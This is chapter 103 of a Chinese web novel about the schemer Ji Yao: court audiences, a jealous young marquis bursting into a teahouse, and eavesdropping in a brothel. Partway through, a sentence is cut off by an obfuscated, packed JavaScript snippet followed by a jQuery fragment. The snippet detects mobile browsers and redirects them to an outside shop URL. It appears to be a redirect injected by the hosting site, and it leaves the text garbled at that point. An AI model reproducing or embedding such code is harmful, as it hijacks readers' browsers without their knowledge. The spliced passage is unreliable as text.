103.男倌儿
作品:《恶女纪鹞》 纪鹞再次抬眸时,主意已定。
忘恩负义又如何?只要能为她所用就可以了。
她右手提笔,蘸上墨水:
唐离,就定周诞了。你需要趁流民帅内战之时,暗中扶持周诞为新的流民帅,吞并他们的势力,铲平余孽,扩展地盘。若是有需要,你可随意调动西州荒山的部曲,助你一臂之力。若周诞同意合作,可许他莱州官职之位。切记,时间紧迫,快速拿下他!
纪鹞等到墨迹变干,将笔搁在砚台上,把纸条卷在一起,绑到鸽子的腿上。
鸽子早已吃饱喝足,抖了抖翅膀,在空中划过优美的曲线。
纪鹞悬着已久的心,总算落到了实地。
次日,正殿内。
纪鹞和罗庸应召进宫,向皇帝禀告汇州治水事务。
皇帝龙颜大悦,坐在龙椅之上。
"好,依两位爱卿所说,此次治水,可以灌溉万亩良田,这汇州的百姓,再也不用受旱涝灾害,衣食无忧。"
太傅加了一句,"不止如此,汇州粮仓充盈,也可为日后战事调度做准备。"
"战事?",纪鹞想起自己梦境,"哪里的战事?"
"南国。去年只是滋扰我国边境,不过被尚啸苍利用,以抵抗南国为名,趁机敛去朝廷兵力、夺取莱州刺史之位。"
太傅语气平稳道,"南国定是知道我国内乱不断,所以近月以来,愈发猖狂,隐隐有开战之嫌疑。"
皇帝收起笑容,点了下头,"确实,我国理应早做些准备。"
他接着道,"只不过,还未到剑拔弩张、白热化时刻。两位爱卿,刚回京城,还是好好歇息一番。"
纪鹞和罗庸拱手作辑,"谨听圣意。"
"纪鹞,太傅果真没有看错你。朕定会好好奖赏你们一番,此刻朕派的人应已送入你们的府中,快回府看看吧。"
"臣告退。"
纪鹞行完礼后,抬头看到太傅赞赏的眼神,微微一笑,以示回应。
罗庸将这一幕收入眼中,与纪鹞一起踏出宫殿。
"纪大人,看来太傅很是疼爱你这个门生啊。"
"嗯?从何看出?",纪鹞笑道,"我倒觉得,先生待我,和他人没有什么区别啊?"
"纪大人,当真是谦虚。",罗庸迈下台阶,"自建国以来,门生拜师,只不过是官场结盟互利的形式罢了。"
"但应太傅向来不屑于此,所以迄今为止,也只收了你和皇帝两个学生而已。单从此处,就可看出他对你的重视。"
纪鹞并没有说出太傅收她入门下目的,只是笑笑以示回应。
罗庸长叹一声,"这样也好,你也无家世背景,能有一人在朝堂之上,为你保驾护航,你的前途不可限量啊。"
"罗大人,过奖了。纪某倒是觉得你的保身之道,很有道理。"
"哈哈,不同的人,选择不同的立场,不同的行事方式。那日不过是与纪大人闲聊罢了,你莫要放在心上。"
出了宫门,风吹拂着衣袍。
两人就此告别。
纪鹞许久没有没回来,特意吩咐车夫,今日要走着回府,顺便逛逛京城。
一年了,她所有的消息,都是听唐离转述,总是会有些闭塞。
纪鹞轻车熟路地逛到林庭春,这地方是世家子弟常来之处,或许有所收获。
和以往相比,木柱刷了新漆,里面的内饰也更加精致。
她跟着小二的步伐,往隔间走去。
经过一个隔间时,闻到了淡淡的消毒水味,难道是周衍原?
纪鹞挥挥手,示意店小二退下。
隔间内传来悠扬的琴声,纪鹞透过锦帘缝隙,果真看到清秀俊美的熟人。
纪鹞站在门口,"好久不见。"
琴声停止,周衍原抬头,有些惊讶。
"纪鹞,你怎么也在这儿?"
"随意逛逛。刚好闻到熟悉的味道,一猜就是你。"
闻此,周衍原的神情突然有些不自然,眼神一瞟,示意还有人在场。
纪鹞心领神会,向里走去。
只见周衍原的对面,有一戴白纱女子。
"柳姑娘?你们竟然相识?"
柳芜起身行礼,"纪大人,好巧。我们正在交流琴艺。"
周衍原翘着兰花指,为纪鹞倒了杯酒。
"没想到,大家都是熟人,来,同饮这杯酒,以敬故友重逢之意。"
杯盏相碰,发出清脆响声。
周衍原放下杯子,"说来我与柳姑娘相识,也是和这林庭春有关。在下被琴声吸引,和柳姑娘一见如故,常常来此,分享心得。"
"以琴会友,纪某懂得。"
隔间外,突然传来吵闹声。
"世子爷,这里没有什么柳姑娘,您还是请回吧。"
"滚开,你一个下等人,岂敢拦本世子?",小侯爷说道,"你们不告诉我,我就一个隔间一个隔间地找,不找到誓不罢休。"
"世子爷,这里的客人,非富即贵。扰乱了其他客人的兴致,我们店里也担当不起啊。"
"滚开,别妨碍本世子找人。"
纪鹞倚在门口,见小侯爷一脚踹在身侧小二身上。
掌柜和手下,都不敢上前拦他。
任由小侯爷猛地闯入一个个隔间里。
见他又要踹人,柳芜连忙喊道,"住手。"
小侯爷一见到柳芜,怒气顿时消散,脸上满是委屈。
"柳姐姐,你为何总是躲着我?我到底做错了什么?"
柳芜看了下四周,轻声道,"你随我进去再说。"
小侯爷立刻跟紧柳芜的脚步,乖乖进去。
结果,他看到屋里的周衍原,脸色霎时变差。
"你为何会和他在一起?"
柳芜凝着秀眉,"我和周公子只是在交流琴艺,你莫要无理取闹。"
"交流琴艺?",小侯爷嗤笑一声,"凭什么我去府上找你,你总是拒不相见,却总是和他一起出来?"
柳芜错过他的视线,"我们身份悬殊,不合适。"
小侯爷攥住她的手,"你就是嫌弃我,对不对?"
"我有什么好嫌弃你的?"
"你怪我以往沾花惹草,搞臭名声,配不上你是吗?"
小侯爷用手指着周衍原,"那他呢?娘们唧唧,还是别人的男宠,难道他就配得上你了?"
柳芜挣脱他的手,怒道:"俞越,不得无礼。"
小侯爷一把搂住她的腰,眼睛通红:"那我呢?我到底是你的什么?"
纪鹞和周衍原相视一眼,默契地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413918|189160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从隔间出来。
"今日对于你来说,真是无妄之灾。"
周衍原一笑,"我已经习惯了。再怎么样,这里也比现代社会,对我的包容性强些。"
"你可真是有雅量啊,居然都不生气。"
纪鹞看着他洗得发皱的手指,"消毒水是你自己配的吗?"
"职业病,有点洁癖。"
此时,有两个中年男子从纪鹞身边擦过。
"如今这柳家势力,当真不可小觑。"
"怎么说?"
"到了青楼,搂着美人,再告诉你。"
纪鹞敏锐地听到他们的谈话,这两人她虽想不起他们具体官职。
但是上朝时,曾见过他们。
她匆匆辞别周衍原,跟在那二人身后。
为了不引起他们的注意,纪鹞在青楼中随意拉住一个小倌儿,跟着上了二楼。
她特意找了一个角落,邻着街。
为了避免干扰,还关上窗户。
小倌儿抹着厚厚的妆容,耳边别了一支红花,衬得他肤色,又白又粉。
他细心地将酒杯递到纪鹞嘴边,"公子,奴来喂你喝酒。"
纪鹞的视线紧盯着方才二人,随意地接下他的酒。
那二人,左拥右抱,饮着美酒。
戴着小冠男子率先道,"谁能想到,有朝一日,这寒门子弟还能从弘野尚氏手中抢夺兵权。"
"此事我有所耳闻,但不知具体详情,快来说说。"
"尚允内战后,陛下便将镇州州牧位置给了柳勋义子。前些日子,太傅、度支尚书魏大人、国丈王钦,包括御史中丞李大人,一同举荐柳勋义子为丰州州牧。"
"那尚穆岭会同意?"
"不同意也没法子,毕竟尚啸苍包围京城,尚允挑起内战之举,历历在目。弘野尚氏受损严重,短期之内,绝不会再挑起战争。这个时候,谁敢公然站队尚氏?"
他接着道,"不过,陛下总归是有所顾忌,将一万丰州兵归于西州尚岳手中,同时将他由西州刺史升为州牧。听闻前不久,柳勋还以陪同义子为由,去了一趟丰州。"
"这么说来,出身低微的柳勋,竟有了两州军权?"
"是。如今势力最大的,非柳家和应家莫属。"
"向来都是世家大族掌握地方政权,柳勋的崛起,真是十分罕见。"
戴冠男子,似乎察觉到有人在看着他们。
他提防地朝四周看去。
纪鹞敛下眸子,用手指挑起怀中男子下巴。
"去,把窗户打开。"
小倌儿媚眼如丝,凑近纪鹞,想要吻她。
见纪鹞躲过,有些失落地站起身,推开了窗户。
随后,又窝在纪鹞的怀里。
新鲜的空气涌来,但纪鹞仍觉得他身上的胭脂味刺鼻。
她将身体扭向窗外,头探了出去。
纪鹞随意地问道,"哪个青楼的人最美?"
男倌儿温热的躯体,贴在纪鹞的后背上,双手放在纪鹞的肩上。
纪鹞皱起眉头,正要推开他。
却见街上,许瑾欢一袭青袍,正抬头看着她。
那目光太过灼热,隔着喧嚣的街市,精准地钉入她的眼底。
纪鹞的手指,忍不住蜷缩、轻颤。

